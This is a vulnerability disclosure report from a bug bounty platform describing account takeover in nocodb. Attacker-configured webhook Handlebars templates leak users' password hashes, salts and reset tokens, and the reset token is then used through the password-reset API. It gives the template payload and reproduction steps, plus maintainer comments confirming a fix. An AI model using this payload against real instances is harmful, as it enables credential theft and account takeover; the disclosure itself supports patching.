Account Takeover via Webhook Handlebars + API Reset Password in nocodb/nocodb


Reported on

Jun 7th 2022


Through the Webhook functionality, the attacker is able to use Handlebars to capture sensitive user data.

Capturing the email_verification_token, which through the API I found the PasswordForget function, enabling account takeover via password reset.


    • Create Table
    • Select your table and configure WebHook:
EVENT: "After Insert"
BODY:  "{{ json user }} {{ user.password }}"
    • Save Webhook and invite a victim for project.
    • Victim insert anything in table.
    • Attacker will receive a similar response
  "id": "us_******",
  "email": "",
  "password": "$2a$10$wMm3MPZEyx.MYEC0*******",
  "salt": "$2a$10$wMm3MP*******",
  "firstname": null,
  "lastname": null,
  "username": null,
  "refresh_token": "4fe1fbc72603a810f57db95b2a2********",
  "invite_token": null,
  "invite_token_expires": null,
  "reset_password_expires": "2022-06-07T22:12:34.750Z",
  "reset_password_token": "3175d930-4557-4d**************",
  "email_verification_token": "716c8943-e4a7-************",
  "email_verified": null,
  "roles": "editor",
  "created_at": "2022-06-07T19:31:30.670Z",
  "updated_at": "2022-06-07T19:31:30.670Z",
  "isAuthorized": true
    • Using API, reset the password of the user who obtained the reset_password_token
Endpoint_final: " + reset_password_token"
    • Set new password and account takeover.

Proof of Concept


The attacker is able to capture sensitive user information such as: password, salt, refresh_token, reset_password_token, email_verification_token.

Through reset_password_token it was possible to use the API to change the victim's password.

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nocodb/nocodb maintainer
13 days ago


The fix has been done here.

docker run -d -p 8888:8080 nocodb/nocodb-timely:0.91.7-pr-2337-20220613-0749
navi validated this vulnerability 13 days ago
Jonatas has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
navi confirmed that a fix has been merged on 269a19 13 days ago
navi has been awarded the fix bounty
userApis.ts#L301 has been validated
12 days ago


Thanks for confirm and fix @navi, why did this report get bounty? Is specific scope? thanks :)

12 days ago

Hi @@ninj4c0d3r as i understand they give 250$ bounty to each github repo for a month and this repo has been already spent 250$ of this month so you have to wait for next month until its repo get new monthly credit

12 days ago

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